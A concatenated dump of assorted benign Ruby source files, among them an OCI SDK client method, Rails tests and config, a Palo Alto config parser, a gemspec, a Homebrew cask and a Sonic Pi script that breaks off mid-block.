endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Updates the Vb Instance.
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [OCI::VisualBuilder::Models::UpdateVbInstanceDetails] update_vb_instance_details The information to be updated.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/update_vb_instance.rb.html) to see an example of how to use update_vb_instance API.
def update_vb_instance(vb_instance_id, update_vb_instance_details, opts = {})
logger.debug 'Calling operation VbInstanceClient#update_vb_instance.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling update_vb_instance." if vb_instance_id.nil?
raise "Missing the required parameter 'update_vb_instance_details' when calling update_vb_instance." if update_vb_instance_details.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = @api_client.object_to_http_body(update_vb_instance_details)
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#update_vb_instance') do
@api_client.call_api(
:PUT,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
private
def applicable_retry_config(opts = {})
return @retry_config unless opts.key?(:retry_config)
opts[:retry_config]
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 55.142259 | 317 | 0.730366 |
e25b57b19db6ac3322567a8edb8df133c13cbd68 | 342 | require 'spec_helper'
describe DBus::Systemd::Networkd::Manager do
it 'sets the right dbus node path' do
expect(DBus::Systemd::Networkd::Manager::NODE).to eq '/org/freedesktop/network1'
end
it 'sets the right interface' do
expect(DBus::Systemd::Networkd::Manager::INTERFACE).to eq 'org.freedesktop.network1.Manager'
end
end
| 28.5 | 96 | 0.736842 |
7aac58c0e42be3067097831915224764e037d997 | 2,573 | require "test_helper"
class ApplicationControllerTest < ActionController::TestCase
include Devise::Test::ControllerHelpers
def setup
ApplicationController.class_eval do
def any_action
render plain: I18n.locale
end
end
# If disable_clear_and_finalize is set to true, Rails will not clear other
# routes when calling again the draw method. Look at the source code at:
# https://www.rubydoc.info/gems/actionpack/ActionDispatch/Routing/RouteSet#draw-instance_method
Rails.application.routes.disable_clear_and_finalize = true
Rails.application.routes.draw do
get "any_action" => "application#any_action"
end
@actual_locales = I18n.available_locales
I18n.available_locales = %w[en es de]
@user = create(:onboarded_user)
end
def teardown
I18n.available_locales = @actual_locales
end
test "team locale is nil, user locale is nil" do
sign_in @user
get :any_action
assert_equal I18n.default_locale.to_s, response.body
end
test "team locale is nil, user locale is nil, HTTP_ACCEPT_LANGUAGE equals es" do
@request.headers["HTTP_ACCEPT_LANGUAGE"] = "es"
sign_in @user
get :any_action
assert_equal "es", response.body
end
test "team locale is es, user locale is nil" do
sign_in @user
@user.current_team.update!(locale: "es")
get :any_action
assert_equal "es", response.body
end
test "team locale is es, user locale is de" do
sign_in @user
@user.current_team.update!(locale: "es")
@user.update!(locale: "de")
get :any_action
assert_equal "de", response.body
end
test "team locale is nil, user locale is de" do
sign_in @user
@user.update!(locale: "de")
get :any_action
assert_equal "de", response.body
end
test "team locale is es, user locale is empty string" do
sign_in @user
@user.update!(locale: "")
@user.current_team.update!(locale: "es")
get :any_action
assert_equal "es", response.body
end
test "user not signed in" do
get :any_action
assert_equal I18n.default_locale.to_s, response.body
end
test "user not signed in and browser sends HTTP_ACCEPT_LANGUAGE" do
@request.headers["HTTP_ACCEPT_LANGUAGE"] = "de"
get :any_action
assert_equal "de", response.body
end
test "user not signed in and browser sends HTTP_ACCEPT_LANGUAGE with unknown value" do
@request.headers["HTTP_ACCEPT_LANGUAGE"] = "this-language-does-not-really-exist"
get :any_action
assert_equal I18n.default_locale.to_s, response.body
end
end
| 25.73 | 99 | 0.708123 |
b942a04ddea87af40b9494253725299d4fea9fa9 | 2,971 |
require 'rly'
require 'palo_alto/models/nat_policy'
module PaloAlto
module V6
class ConfigParser < Rly::Yacc
rule 'policies : policies policy' do |policies_out, policies_in, policy|
policies_out.value = policies_in.value.push( policy.value )
end
rule 'policies : ' do |policies_out|
policies_out.value = []
end
rule 'policy : STRING "{" statements "}"
| IDENTIFIER "{" statements "}" ' do |policy, policy_name, open_brace, statements, close_brace|
policy.value = PaloAlto::Models::NatPolicy.new(policy_name.value,statements.value)
end
rule 'statements : statements statement' do |statements_out, statements_in, statement|
statements_out.value = statements_in.value.merge(statement.value)
end
rule 'statements : statement' do |statements_out, statement|
statements_out.value = statement.value
end
rule 'statement : IDENTIFIER IDENTIFIER ";"
| IDENTIFIER STRING ";"
| IDENTIFIER IP_ADDRESS ";"
| IDENTIFIER AGGREGATE_INTERFACE ";"
| IDENTIFIER array ";"
| IDENTIFIER list ";"
' do |st, key, value, semi|
st.value = {key.value => value.value}
end
rule 'statement : IDENTIFIER ";" ' do |st, key|
st.value = {key.value => nil}
end
rule 'array : "[" array_elements "]"' do |array_out, open_bracket, array_elements, close_bracket|
array_out.value = array_elements.value
end
rule 'array_elements : array_elements array_element' do |array_out, array_in, element|
array_out.value = array_in.value.push(element.value)
end
rule 'array_elements : array_element' do |array_out, element|
array_out.value = [element.value]
end
rule 'array_element : IP_ADDRESS ' do |element_out, element|
element_out.value = element.value
end
rule 'list : list "/" IDENTIFIER' do |list_out, list_in, forward_slash, element|
list_out.value = list_in.value.push(element.value)
end
rule 'list : IDENTIFIER' do |list_out, element|
list_out.value = [element.value]
end
lam = lambda {|x| puts "ERROR #{x}"}
on_error(lam)
lexer do
ignore " \t\n"
literals "{};[]/"
token :AGGREGATE_INTERFACE, /ae\d+\.\d+/
token :STRING, /\"([^\"]*)\"/ do |match|
match.value = match.value[1..-2]
match
end
token :IDENTIFIER, /[a-zA-Z][\w-]*/
token :IDENTIFIER, /[\d][\d\.]*[a-zA-Z_-][\w-]+/ # catch identifiers that start out like IP addresses
token :IP_ADDRESS, /(\d+)(\.\d+){3,3}(\/\d+)?/
on_error do |t|
puts "unrecognized character #{t.value}"
t.lexer.pos += 1
nil
end
end
end
end
end
| 31.606383 | 114 | 0.571861 |
e8e69a1c09df0d2f37b2103b5a85e6d276d986da | 62 | class Setting <ActiveRecord::Base
belongs_to :project
end | 20.666667 | 34 | 0.774194 |
e912d7818220d57bcdfe7f6dde83445312061d8b | 1,417 |
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'insta/version'
Gem::Specification.new do |spec|
spec.name = 'insta'
spec.version = Insta::VERSION
spec.authors = ['Renan Garcia']
spec.email = ['[email protected]']
spec.summary = 'Welcome to Insta(pre-alpha) gem! This Gem is hard fork from vicoerv/instagram-private-api and the implement from huttarichard/instagram-private-api'
spec.description = spec.summary
spec.homepage = 'https://github.com/renan-garcia/insta'
spec.license = 'MIT'
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata['allowed_push_host'] = "https://rubygems.org"
else
raise 'RubyGems 2.0 or newer is required to protect against ' \
'public gem pushes.'
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = 'exe'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 1.16'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'rspec', '~> 3.0'
end
| 38.297297 | 172 | 0.676782 |
ff7eb5f1f1a6845dc7051a1affc3de9a57f462eb | 274 | module UsersHelper
def gravatar_for(user, size: 80 )
gravatar_id = Digest::MD5::hexdigest(user.email.downcase)
gravatar_url = "https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}"
image_tag(gravatar_url, alt: user.name, class: "gravatar")
end
end
| 30.444444 | 80 | 0.711679 |
6aff85a197c18c831bcc6097aa6a62c2918e4920 | 2,899 | class SystemTestWorkspace
# Creates the system test workspace, but only on environments which are
# configured to include the system test workspace.
def self.prepare
return unless Feature.enabled?(:system_test)
Factory.new(Client).find_or_create_workspace!
end
class Factory
attr_accessor :client_repository
# Expand this to include more room types for different test cases
DEMO_ROOMS = [
{
name: 'Listed Room 1',
publicity_level: :listed,
access_level: :unlocked,
access_code: nil,
furniture_placements: {
tables: { names: %w[engineering design ops] }
}
},
{
name: 'Listed Room 2',
publicity_level: :listed,
access_level: :unlocked,
access_code: nil
},
{
name: 'Listed Locked Room 1',
publicity_level: :listed,
access_level: :locked,
access_code: :secret
},
{
name: 'Unlisted Room 1',
publicity_level: :unlisted,
access_level: :unlocked,
access_code: nil
},
{
name: 'Unlisted Room 2',
publicity_level: :unlisted,
access_level: :unlocked,
access_code: nil
}
].freeze
# @param [ActiveRecord::Relation<Client>] client_repository Where to ensure there
# is a Zinc Client with the Convene Demo workspace
def initialize(client_repository)
self.client_repository = client_repository
end
def find_or_create_workspace!
workspace = client.workspaces.find_or_create_by!(name: 'System Test Branded Domain')
workspace.update!(jitsi_meet_domain: 'convene-videobridge-zinc.zinc.coop',
branded_domain: 'system-test.zinc.local',
access_level: :unlocked)
add_demo_rooms(workspace)
workspace = client.workspaces.find_or_create_by!(name: 'System Test')
workspace.update!(jitsi_meet_domain: 'convene-videobridge-zinc.zinc.coop',
branded_domain: nil,
access_level: :unlocked)
add_demo_rooms(workspace)
end
private def add_demo_rooms(workspace)
DEMO_ROOMS.each do |room_properties|
room = workspace.rooms.find_or_initialize_by(name: room_properties[:name])
room.update!(room_properties.except(:name, :furniture_placements))
furniture_placements = room_properties.fetch(:furniture_placements, {})
furniture_placements.each.with_index do |(furniture, settings), slot|
furniture_placement = room.furniture_placements
.find_or_initialize_by(name: furniture)
furniture_placement.update!(settings: settings, slot: slot)
end
end
workspace
end
private def client
@_client ||= client_repository.find_or_create_by!(name: 'Zinc')
end
end
end
| 32.211111 | 90 | 0.639186 |
e81232c78cf88d614c09cbc15d81d1851f2aa019 | 744 | module Types
class ReviewedSubmissionType < Types::BaseObject
field :id, ID, null: false
field :title, String, null: false
field :created_at, String, null: false
field :level_id, ID, null: false
field :target_id, ID, null: false
field :user_names, String, null: false
field :feedback_sent, Boolean, null: false
field :failed, Boolean, null: false
def title
object.target.title
end
def level_id
object.target.target_group.level_id
end
def user_names
object.founders.map do |founder|
founder.user.name
end.join(', ')
end
def feedback_sent
object.startup_feedback.present?
end
def failed
object.passed_at.nil?
end
end
end
| 21.257143 | 50 | 0.655914 |
21fb03a901ffb6a67ba04f927bd5c8e09ebef44a | 210 | # Read about factories at https://github.com/thoughtbot/factory_girl
FactoryGirl.define do
factory :heteronym do
word nil
bopomofo "MyString"
bopomofo2 "MyString"
pinyin "MyString"
end
end
| 19.090909 | 68 | 0.728571 |
f88d31bda888cdd7050207cd2077f0a9c0105828 | 6,807 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Issue Boards new issue', :js do
let_it_be(:project) { create(:project, :public) }
let_it_be(:board) { create(:board, project: project) }
let_it_be(:backlog_list) { create(:backlog_list, board: board) }
let_it_be(:label) { create(:label, project: project, name: 'Label 1') }
let_it_be(:list) { create(:list, board: board, label: label, position: 0) }
let_it_be(:user) { create(:user) }
let(:board_list_header) { first('[data-testid="board-list-header"]') }
let(:project_select_dropdown) { find('[data-testid="project-select-dropdown"]') }
context 'authorized user' do
before do
project.add_maintainer(user)
sign_in(user)
visit project_board_path(project, board)
wait_for_requests
expect(page).to have_selector('.board', count: 3)
end
it 'displays new issue button' do
expect(first('.board')).to have_button('New issue', count: 1)
end
it 'does not display new issue button in closed list' do
page.within('.board:nth-child(3)') do
expect(page).not_to have_button('New issue')
end
end
it 'shows form when clicking button' do
page.within(first('.board')) do
click_button 'New issue'
expect(page).to have_selector('.board-new-issue-form')
end
end
it 'hides form when clicking cancel' do
page.within(first('.board')) do
click_button 'New issue'
expect(page).to have_selector('.board-new-issue-form')
click_button 'Cancel'
expect(page).not_to have_selector('.board-new-issue-form')
end
end
it 'creates new issue and opens sidebar' do
page.within(first('.board')) do
click_button 'New issue'
end
page.within(first('.board-new-issue-form')) do
find('.form-control').set('bug')
click_button 'Create issue'
end
wait_for_requests
page.within(first('.board [data-testid="issue-count-badge"]')) do
expect(page).to have_content('1')
end
page.within(first('.board-card')) do
issue = project.issues.find_by_title('bug')
expect(page).to have_content(issue.to_reference)
expect(page).to have_link(issue.title, href: /#{issue_path(issue)}/)
end
expect(page).to have_selector('[data-testid="issue-boards-sidebar"]')
end
it 'successfuly loads labels to be added to newly created issue' do
page.within(first('.board')) do
click_button 'New issue'
end
page.within(first('.board-new-issue-form')) do
find('.form-control').set('new issue')
click_button 'Create issue'
end
wait_for_requests
page.within('[data-testid="sidebar-labels"]') do
click_button 'Edit'
wait_for_requests
expect(page).to have_content 'Label 1'
end
end
it 'allows creating an issue in newly created list' do
click_button 'Create list'
wait_for_all_requests
click_button 'Select a label'
find('label', text: label.title).click
click_button 'Add to board'
wait_for_all_requests
page.within('.board:nth-child(2)') do
click_button('New issue')
page.within(first('.board-new-issue-form')) do
find('.form-control').set('new issue')
click_button 'Create issue'
end
wait_for_all_requests
page.within('.board-card') do
expect(page).to have_content 'new issue'
end
end
end
end
context 'unauthorized user' do
before do
visit project_board_path(project, board)
wait_for_requests
end
it 'does not display new issue button in open list' do
expect(first('.board')).not_to have_button('New issue')
end
it 'does not display new issue button in label list' do
page.within('.board:nth-child(2)') do
expect(page).not_to have_button('New issue')
end
end
end
context 'group boards' do
let_it_be(:group) { create(:group, :public) }
let_it_be(:project) { create(:project, namespace: group, name: "root project") }
let_it_be(:subgroup) { create(:group, parent: group) }
let_it_be(:subproject1) { create(:project, group: subgroup, name: "sub project1") }
let_it_be(:subproject2) { create(:project, group: subgroup, name: "sub project2") }
let_it_be(:group_board) { create(:board, group: group) }
let_it_be(:project_label) { create(:label, project: project, name: 'label') }
let_it_be(:list) { create(:list, board: group_board, label: project_label, position: 0) }
context 'for unauthorized users' do
before do
visit group_board_path(group, group_board)
wait_for_requests
end
context 'when backlog does not exist' do
it 'does not display new issue button in label list' do
page.within('.board.is-draggable') do
expect(page).not_to have_button('New issue')
end
end
end
context 'when backlog list already exists' do
let_it_be(:backlog_list) { create(:backlog_list, board: group_board) }
it 'does not display new issue button in open list' do
expect(first('.board')).not_to have_button('New issue')
end
it 'does not display new issue button in label list' do
page.within('.board.is-draggable') do
expect(page).not_to have_button('New issue')
end
end
end
end
context 'for authorized users' do
before do
project.add_reporter(user)
subproject1.add_reporter(user)
sign_in(user)
visit group_board_path(group, group_board)
wait_for_requests
end
context 'when backlog does not exist' do
it 'display new issue button in label list' do
expect(board_list_header).to have_button('New issue')
end
end
context 'project select dropdown' do
let_it_be(:backlog_list) { create(:backlog_list, board: group_board) }
before do
page.within(board_list_header) do
click_button 'New issue'
end
project_select_dropdown.click
wait_for_requests
end
it 'lists a project which is a direct descendant of the top-level group' do
expect(project_select_dropdown).to have_button("root project")
end
it 'lists a project that belongs to a subgroup' do
expect(project_select_dropdown).to have_button("sub project1")
end
it "does not list projects to which user doesn't have access" do
expect(project_select_dropdown).not_to have_button("sub project2")
end
end
end
end
end
| 29.214592 | 93 | 0.63229 |
b9513981b26bf89323c6a79e35e7280d1c04411d | 628 | Pod::Spec.new do |s|
s.name = 'PopupDialog'
s.version = '1.1.1'
s.summary = 'A simple custom popup dialog view controller'
s.homepage = 'https://github.com/orderella/PopupDialog'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Martin Wildfeuer' => '[email protected]' }
s.source = { :git => 'https://github.com/orderella/PopupDialog.git', :tag => s.version.to_s }
s.social_media_url = 'https://twitter.com/theMWFire'
s.ios.deployment_target = '10.0'
s.source_files = 'PopupDialog/Classes/**/*'
s.swift_version = '5.0'
end
| 41.866667 | 105 | 0.585987 |
038a45e7a71eb9455cc5b80b8109ac5d4107404d | 3,719 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Mount Action Cable outside main process or domain
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "lyrical_personality_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
end
| 41.786517 | 102 | 0.757462 |
f7b4fa4ca36c1e0e4e09e09b1c233c5ecd09c8e8 | 1,363 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2020_02_09_100242) do
create_table "sneakers", force: :cascade do |t|
t.string "manufacturer"
t.string "size_us"
t.string "model"
t.string "colorway"
t.string "notes"
t.string "condition"
t.integer "est_value"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "users", force: :cascade do |t|
t.string "first_name"
t.string "last_name"
t.text "email_address"
t.string "password_digest"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
end
| 35.868421 | 86 | 0.73661 |
b979617c1b8b67f800b92281ea7245613672b773 | 460 | RSpec::Matchers.define :raise_unless_reference do |variable|
match do
begin
actual.call
rescue ArgumentError => e
return e.message.match?(/#{variable} is not a valid reference/)
end
false
end
def supports_block_expectations?
true
end
description do
"raise an error if the argument is not a reference"
end
failure_message do
"#{variable} did not raise an ArgumentError (reference) as expected"
end
end
| 20 | 72 | 0.695652 |
792763f7d50ecbd4c5bd9fdbce374adfde64b79d | 456 | FactoryBot.define do
factory :general_setting do
url { Faker::Internet.url }
description { Faker::Lorem.paragraph(10) }
# association :phone, factory: :user, strategy: :build
phones { Array.new(3) { FactoryBot.build(:phone) } }
opening_hours { Array.new(5) { FactoryBot.build(:opening_hour) } }
email { Faker::Internet.email }
address { "Москва, улица 2-ая Хуторская, 38" }
language = {
"ru" => "ru"
}
end
end
| 30.4 | 70 | 0.635965 |
1d64e8205d4b22a4406868da1c717150bb26bb1c | 1,206 | lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "memory-view-test-helper/version"
clean_white_space = lambda do |entry|
entry.gsub(/(\A\n+|\n+\z)/, "") + "\n"
end
Gem::Specification.new do |spec|
spec.name = "memory-view-test-helper"
spec.version = MemoryViewTestHelper::VERSION
spec.homepage = "https://github.com/mrkn/memory-view-test-helper"
spec.authors = ["Ketna Murata"]
spec.email = ["[email protected]"]
readme = File.read("README.md")
readme.force_encoding("UTF-8")
entries = readme.split(/^\#\#\s(.*)$/)
description = clean_white_space.call(entries[entries.index("Description") + 1])
spec.summary, spec.description, = description.split(/\n\n+/, 3)
spec.license = "MIT"
spec.files = [
"README.md",
"LICENSE.txt",
"Rakefile",
"Gemfile",
"#{spec.name}.gemspec",
]
spec.files += Dir.glob("lib/**/*.rb")
spec.files += Dir.glob("ext/**/*.{c,h,rb}")
spec.files += Dir.glob("ext/**/depend")
spec.extensions = ["ext/memory-view-test-helper/extconf.rb"]
spec.add_development_dependency("bundler")
spec.add_development_dependency("rake")
spec.add_development_dependency("test-unit")
end
| 31.736842 | 81 | 0.669154 |
5dd481ae8e1cb9e3b1bee634eea0e3585c24f6a2 | 2,541 | cask 'wine-devel' do
version '5.2'
sha256 'f99693b73eca6af4ee900e5cf05e529b3edfc3ea1a5b7b19b9e52438fae4fa43'
url "https://dl.winehq.org/wine-builds/macosx/pool/winehq-devel-#{version}.pkg"
appcast 'https://dl.winehq.org/wine-builds/macosx/download.html'
name 'WineHQ-devel'
homepage 'https://wiki.winehq.org/MacOS'
conflicts_with formula: 'wine',
cask: [
'wine-stable',
'wine-staging',
]
depends_on x11: true
pkg "winehq-devel-#{version}.pkg",
choices: [
{
'choiceIdentifier' => 'choice3',
'choiceAttribute' => 'selected',
'attributeSetting' => 1,
},
]
binary "#{appdir}/Wine Devel.app/Contents/Resources/start/bin/appdb"
binary "#{appdir}/Wine Devel.app/Contents/Resources/start/bin/winehelp"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/msiexec"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/notepad"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/regedit"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/regsvr32"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wine"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wine64"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineboot"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winecfg"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineconsole"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winedbg"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winefile"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winemine"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winepath"
binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineserver"
uninstall pkgutil: [
'org.winehq.wine-devel',
'org.winehq.wine-devel-deps',
'org.winehq.wine-devel-deps64',
'org.winehq.wine-devel32',
'org.winehq.wine-devel64',
],
delete: '/Applications/Wine Devel.app'
caveats <<~EOS
#{token} installs support for running 64 bit applications in Wine, which is considered experimental.
If you do not want 64 bit support, you should download and install the #{token} package manually.
EOS
end
| 45.375 | 104 | 0.639512 |
014629609f1b2e8bafcf2524517133d13416b0e9 | 32 | require 'planter'
Planter.seed
| 8 | 17 | 0.78125 |
4a3468617aeebabc3c94c1dcfd95d6bc68f8c02b | 1,490 | #
# Be sure to run `pod lib lint HubFintechUtils.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'HubFintechUtils'
s.version = '0.1.32'
s.summary = 'A short description of HubFintechUtils.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/AppsHubfintech/Specs'
s.license = 'MIT'
s.author = { 'Guilherme Silva' => '[email protected]', 'João Paulo Cavalcante dos Anjos' => '[email protected]' }
s.source = { :git => 'http://stash.valepresente.net.br:7990/scm/hubudi/fintech_utils_ios.git', :tag => s.version.to_s }
s.ios.deployment_target = '9.0'
s.source_files = 'HubFintechUtils/HubFintechUtils/Classes/**/*'
s.dependency 'Giba', '2.0.3'
s.dependency 'Locksmith'
s.dependency 'Device'
s.dependency 'AlamofireImage'
s.dependency 'PopupDialog'
end | 39.210526 | 152 | 0.669128 |
39f1c7ab5035c9ae840e0c0bf48bb6f8316fe925 | 123 | require 'test_helper'
class AdminpageTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 15.375 | 45 | 0.707317 |
5d7c09df822b72c02b8137284028e30b815eeee0 | 5,670 | # Sonic Dreams
#
# rand-seed-ver 31
#
# Coded by Meta-eX
#
# Video: https://vimeo.com/110416910
use_debug false
load_samples [:bd_haus, :elec_blip, :ambi_lunar_land]
define :ocean do |num, amp_mul=1|
num.times do
s = synth [:bnoise, :cnoise, :gnoise].choose, amp: rrand(0.5, 1.5) * amp_mul, attack: rrand(0, 4), sustain: rrand(0, 2), release: rrand(0, 5) + 0.5, cutoff_slide: rrand(0, 5), cutoff: rrand(60, 100), pan: rrand(-1, 1), pan_slide: 1, amp: rrand(0.5, 1)
control s, pan: rrand(-1, 1), cutoff: rrand(60, 110)
sleep rrand(2, 4)
end
end
define :echoes do |num, tonics, co=80, res=0.1, amp=1|
num.times do
play chord(tonics.choose, :minor).choose, res: res, cutoff: rrand(co - 40, co + 20), amp: 0.5 * amp, attack: 0, release: rrand(0.5, 1.5), pan: rrand(-0.7, 0.7)
sleep [0.25, 0.5, 0.5, 0.5, 1, 1].choose
end
end
define :bd do
cue :in_relentless_cycles
16.times do
sample :bd_haus, amp: 3
sleep 0.5
end
cue :winding_everywhichway
2.times do
2.times do
sample :bd_haus, amp: 3
sleep 0.25
end
sample :ambi_lunar_land
sleep 0.25
end
end
define :drums do |level, b_level=1, rand_cf=false|
synth :fm, note: :e2, release: 0.1, amp: b_level * 2.5
co = rand_cf ? rrand(110, 130) : 130
a = rand_cf ? rrand(0.3, 0.5) : 0.6
n = rand_cf ? :bnoise : :noise
synth :noise, release: 0.05, cutoff: co, res: 0.05, amp: a if level > 0
sample :elec_blip, amp: 2, rate: 2, pan: rrand(-0.8, 0.8) if level > 1
sleep 1
end
define :synths do |s_name, co, n=:e2|
use_synth s_name
use_transpose 0
use_synth_defaults detune: [12,24].choose, amp: 1, pan: lambda{rrand(-1, 1)}, cutoff: co, pulse_width: 0.12, attack: rrand(0.2, 0.5), release: 0.5 , mod_phase: 0.25
play :e1, mod_range: [7, 12].choose
sleep 0.125
play :e3, mod_range: [7, 12].choose
sleep [0.25, 0.5].choose
play n, mod_range: 12
sleep 0.5
play chord(:e2, :minor).choose, mod_range: 12
sleep 0.25
end
define :play_synths do
with_fx :reverb do |r|
with_fx :echo, phase: 0.25 do |e|
